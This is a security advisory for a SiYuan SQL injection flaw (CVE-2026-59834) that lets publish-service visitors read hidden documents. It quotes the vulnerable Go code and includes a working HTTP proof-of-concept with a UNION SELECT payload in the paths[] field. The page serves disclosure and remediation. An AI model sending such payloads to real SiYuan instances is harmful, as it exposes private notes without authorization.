CVE-2026-59834
SiYuan: SQL Query in Block Search Exposes Hidden Published Document Content
Summary
## Summary Siyuan's block search endpoint concatenates attacker-controlled `paths[]` values into SQL predicates used by non-SQL search modes. Through Siyuan's publish service, an unauthenticated visitor is forwarded to the kernel with a reader-role token and can reach `POST /api/search/fullTextSearchBlock`. An attacker can inject a `UNION SELECT` through `paths[]` and return rows from hidden documents while projecting an allowed visible `box` and `path`. The post-query publish access filter trusts the projected `box` and `path`, so the injected hidden row is returned to the publish visitor. ## Affected Code The API blocks explicit SQL search mode for non-admin users, but allows other search methods to use caller-controlled paths: ```go if method == 2 && !model.IsAdminRoleContext(c) { ret.Code = -1 ret.Msg = "SQL search requires administrator privileges" return } blocks, matchedBlockCount, matchedRootCount, pageCount, docMode := model.FullTextSearchBlock(query, boxes, paths, types, method, orderBy, groupBy, page, pageSize) if model.IsReadOnlyRoleContext(c) { publishAccess := model.GetPublishAccess() blocks = model.FilterBlocksByPublishAccess(c, publishAccess, blocks) } ``` Source: `input/siyuan/kernel/api/search.go` `paths[]` is parsed into notebook IDs and paths without SQL escaping or validation: ```go path := p.(string) box := strings.TrimSpace(strings.Split(path, "/")[0]) if "" != box { boxes = append(boxes, box) } path = strings.TrimSpace(strings.TrimPrefix(path, box)) if "" != path { paths = append(paths, path) } ``` Source: `input/siyuan/kernel/api/search.go` Those values are then concatenated directly into SQL: ```go builder.WriteString(fmt.Sprintf("box = '%s'", box)) ``` ```go builder.WriteString(fmt.Sprintf("path LIKE '%s%%'", path)) ``` Source: `input/siyuan/kernel/model/search.go` Regexp search executes the resulting statement: ```go stmt := "SELECT * FROM `blocks` WHERE " + fieldFilter + " AND type IN " + typeFilter stmt += boxFilter + pathFilter + ignoreFilter + " " + orderBy blocks := sql.SelectBlocksRegex(stmt, regex, Conf.Search.Name, Conf.Search.Alias, Conf.Search.Memo, Conf.Search.IAL, page, pageSize) ``` Source: `input/siyuan/kernel/model/search.go` The read-only publish filter runs after SQL execution and trusts the returned row's `Box` and `Path`: ```go for _, block := range blocks { passwordID, password := GetPathPasswordByPublishAccess(block.Box, block.Path, publishAccess) if CheckPathAccessableByPublishIgnore(block.Box, block.Path, publishIgnore) && (c == nil || password == "" || CheckPublishAuthCookie(c, passwordID, password)) { ret = append(ret, block) } } ``` Source: `input/siyuan/kernel/model/publish_access.go` ## Attack Scenario 1. A Siyuan instance enables the publish service. 2. At least one document is visible to publish visitors. 3. At least one document is hidden from publish visitors. 4. The attacker sends a crafted `paths[]` value to the publish service's `/api/search/fullTextSearchBlock` endpoint. 5. The injected SQL selects content from the hidden document while projecting the visible document's `box` and `path`. 6. Siyuan returns the hidden block because the post-query publish filter checks the projected visible path. ## Proof of Concept ```http POST /api/search/fullTextSearchBlock HTTP/1.1 Host: Content-Type: application/json { "query": "SECRET-LIVE-SQLI-20260609", "method": 3, "page": 1, "pageSize": 10, "paths": [ "VISIBLE_NOTEBOOK_ID/x%') UNION SELECT id,parent_id,root_id,hash,'VISIBLE_NOTEBOOK_ID','/VISIBLE_DOC.sy',hpath,name,alias,memo,tag,content,fcontent,markdown,length,type,subtype,ial,sort,created,updated FROM blocks WHERE path='/HIDDEN_DOC.sy' -- " ] } ``` `VISIBLE_NOTEBOOK_ID` and `/VISIBLE_DOC.sy` must reference content that the publish visitor can access. `/HIDDEN_DOC.sy` is the hidden document to read. ## Validation Setup: - Started `b3log/siyuan:latest` with a
Affected packages
| Ecosystem | Package | Affected versions | Fixed versions |
|---|---|---|---|
| Go | github.com/siyuan-note/siyuan/kernel | — | 0.0.0-20260704035518-d0f0fe146fb0 |
Remediation: Upgrade to 0.0.0-20260704035518-d0f0fe146fb0 or later.
References
Includes data from the GitHub Advisory Database, licensed under CC-BY 4.0.
CVE® is a registered trademark of The MITRE Corporation. CVE content reproduced under the CVE Terms of Use; copyright designation © MITRE.
EPSS scores provided by the FIRST.org Exploit Prediction Scoring System.